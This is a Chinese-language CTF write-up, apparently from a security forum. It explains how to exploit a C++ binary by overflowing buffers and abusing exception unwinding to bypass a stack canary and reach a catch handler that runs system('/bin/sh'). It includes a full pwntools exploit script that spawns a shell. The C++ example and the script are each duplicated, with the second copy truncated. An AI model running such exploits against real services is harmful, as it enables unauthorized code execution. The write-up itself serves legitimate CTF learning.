这一道题涉及到了C++异常处理(第一次遇到),我们来看看题是怎么回事。
首先来看看保护:
我们可以看到有canary,但是没有开PIE,也就是地址没有随机变化。
然后来看看main函数:
菜单只有三个选项,我们先来看看Trace函数:
这里有几个点要注意,它可以创建9个,每一个可以放16个字节,但是我们进入byte_404020
里面可以看到这里存在一个漏洞:
截至到src
上面,结果只有0x80的空间大小,也就是8 * 16,因为我们能够创建9个,所以这里能够溢出16字节,可以覆盖掉src
里面的内容,这是我们找到的第一个漏洞点;函数剩余部分没什么明显问题。
我们接下来就来看Warn函数:
这里我们首先能够看到是这里的buf存在溢出,而且是超大溢出,但是我们这道题有canary,所以最开始首先想的是想办法泄露出canary。
我们发现,在这里如果写入超出buf大小的内容的话,他会对你进行提醒并且会输出"Buffer Overflow”的字样(这就是我们前面看到的src里面存储的内容),我们可能会想办法将canary写进src然后输出出来,但是现实情况是没有办法写进去,那么怎么办呢?
这个时候我们就注意到了这里面的异常处理函数了。
C++的异常处理机制有三个关键字:throw、try和catch。
其中throw是抛出异常、try包含异常模块、catch捕获抛出的异常;这里给出一个代码来看看这三个大概什么意思:
这里发生了除零异常,然后被catch捕获了,然后就会输出上面抛出的"Division by zero condition!"
大体意思是这样的,但是要做这个题我们还得更加细致得了解一下这个过程:
在编译C++代码的时候,编译器会将throw替换成__CxxRTThrowExp
这类指定函数,通常与 __cxa_allocate_exception
和 __cxa_throw
等函数配合使用,完成分配、初始化、抛出异常的操作。
__cxa_allocate_exception
:是一个内部的 C++ 异常处理函数,用于在抛出异常时分配内存以存储异常对象;它会与__cxa_throw
相互配合,__cxa_throw
函数在调用时会使用 __cxa_allocate_exception
来分配内存,然后复制异常对象到分配的内存中,并设置适当的异常处理上下文。异常对象处理完后就会使用__cxa_free_exception
来释放内存
我们知道异常抛出过后会被catch捕捉,但是要是当前函数里面没有catch,那么就会沿函数的调用链继续找catch。要是没有catch那么程序就会中止。
这个东西就比较有意思了,当程序将要进入 _cxa_throw
函数的时候你会发现它值是main函数的rbp的值,并且在main函数结尾有catch字段:
这里就是我们异常过后catch的位置。我们跟进 _cxa_throw
函数中,在执行 Unwind_RaiseException
函数时,进行了栈回退,回退到到 Main
函数时的 ebp
并找到了 catch
结构,此时会直接进入 catch
结构里。
经过调试可以发现,当我们要是修改rbp地址的话,那么经过整个异常处理过程之后,他的rbp就会变成我们修改的地方。这不就和栈迁移很像了吗!
那么总结下来,我们有两种解决办法:
第一种是通过修改rbp控制程序流走向,到我们rop的位置
第二种是通过覆盖ret到另外一个有catch的handler处理
非常幸运的是我们在这个程序里面找到了一个catch有后门的:
那么我们可以覆盖ret地址为这里让他来获取我们的异常对象的指针(就是我们的src)
刚好前面能够修改src,我们可以将其修改成/bin/sh
;因为在异常处理或栈展开(unwinding)过程中,rax
通常用来存储异常对象的指针或其他关键数据。
那么这里会将rax → rdi,就完成了system(”/bin/sh”)的过程。
这里有一点要注意我们的rbp的地址覆盖的时候不能够随便覆盖,必须要合法,比如改成一个可写的地址:
那么我们的exp就是这个样子的:
效果:
#include <iostream>
using
namespace
std;
double
division(
int
a,
int
b)
{
if
( b == 0 )
{
throw
"Division by zero condition!"
;
}
return
(a/b);
}
int
main ()
{
int
x = 50;
int
y = 0;
double
z = 0;
try
{
z = division(x, y);
cout << z << endl;
}
catch
(
const
char
* msg) {
cerr << msg << endl;
}
return
0;
}
#include <iostream>
using
namespace
std;
double
division(
int
a,
int
b)
{
if
( b == 0 )
{
throw
"Division by zero condition!"
;
}
return
(a/b);
}
int
main ()
{
int
x = 50;
int
y = 0;
double
z = 0;
try
{
z = division(x, y);
cout << z << endl;
}
catch
(
const
char
* msg) {
cerr << msg << endl;
}
return
0;
}
from pwn import*
from LibcSearcher import*
from ctypes import*
elf = ELF(
'./pwn'
)
#libc = ELF('libc.so.6')
libc = elf.libc
jude = 0
if
jude == 1:
node =
'www.xyctf.top/api/proxy/072c17a6-5497-4758-9d77-071f90c650ff'
num = 48565
p = remote(node,num)
else
:
p = process(
'./pwn'
)
system_adr = 0
bin_sh = 0
libc_base = 0
def ret2csu(pop_addr,mov_adr,fun_addr,rdi,rsi,rdx):
p = p64(pop_addr)
p += p64(0) + p64(1) + p64(fun_addr) +p64(rdi) +p64(rsi) +p64(rdx) +p64(mov_adr)
p += b
'a'
*56
return
p
li = lambda x : print(
'\x1b[01;38;5;214m'
+ x +
'\x1b[0m'
)
ll = lambda x : print(
'\x1b[01;38;5;1m'
+ x +
'\x1b[0m'
)
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def rv(num):
return
p.recv(num)
def pr():
print(p.recv())
def ru(a):
return
p.recvuntil(a)
def inter():
p.interactive()
context(os=
'linux'
, arch=
'amd64'
, log_level=
'debug'
)
def g():
gdb.attach(r)
def get_addr(arch):
if
arch == 64:
return
u64(p.recvuntil(b
'\x7f'
)[-6:].ljust(8,b
'\x00'
))
else
:
return
u32(p.recvuntil(b
'\xf7'
))
def leaklibc(way,func_adr,name,libc):
if
way ==
'LibcSearcher'
:
libc = LibcSearcher(
'name'
,func_adr)
libc_base = func_adr - libc.dump(name)
system_adr = libc_base + libc.dump(
'system'
)
bin_sh = libc_base + libc.dump(
'str_bin_sh'
)
else
:
libc_base = func_adr - libc.sym[name]
system_adr = libc_base + libc.sym[
'system'
]
bin_sh = libc_base + next(libc.search(b
'/bin/sh'
))
return
libc_base , system_adr ,bin_sh
def heaplibc(libc_base,libc):
system_adr = libc_base + libc.sym[
'system'
]
bin_sh = libc_base + next(libc.search(b
'/bin/sh'
))
free_hook = libc_base + libc.sym[
'__free_hook'
]
malloc_hook = libc_base + libc.sym[
'__malloc_hook'
]
return
system_adr,bin_sh,free_hook,malloc_hook
ret = 0x04019C9
for
i in range(8):
sla(
"Your chocie:"
,b
'1'
)
sla(
"You can record log details here:"
,b
'a'
*16)
sla(
"Do you need to check the records?"
,b
'y'
)
#gdb.attach(p)
sla(
"Your chocie:"
,b
'1'
)
pl = b
'/bin/sh'
sla(
"You can record log details here:"
,pl)
sla(
"Do you need to check the records?"
,b
'y'
)
sla(
"Your chocie:"
,b
'2'
)
#gdb.attach(p)
pl2 = b
'a'
*0x70 + p64(0x00404700) + p64(0x0401BC7)
sla(
"Type your message here plz:"
,pl2)
p.interactive()
from pwn import*
from LibcSearcher import*
from ctypes import*
elf = ELF(
'./pwn'
)
#libc = ELF('libc.so.6')
libc = elf.libc
jude = 0
if
jude == 1:
node =
'www.xyctf.top/api/proxy/072c17a6-5497-4758-9d77-071f90c650ff'
num = 48565
p = remote(node,num)
else
:
p = process(
'./pwn'
)
system_adr = 0
bin_sh = 0
libc_base = 0
def ret2csu(pop_addr,mov_adr,fun_addr,rdi,rsi,rdx):
p = p64(pop_addr)
p += p64(0) + p64(1) + p64(fun_addr) +p64(rdi) +p64(rsi) +p64(rdx) +p64(mov_adr)
p += b
'a'
*56
return
p
li = lambda x : print(
'\x1b[01;38;5;214m'
+ x +
'\x1b[0m'
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2024-11-3 15:53
被doujia编辑
,原因: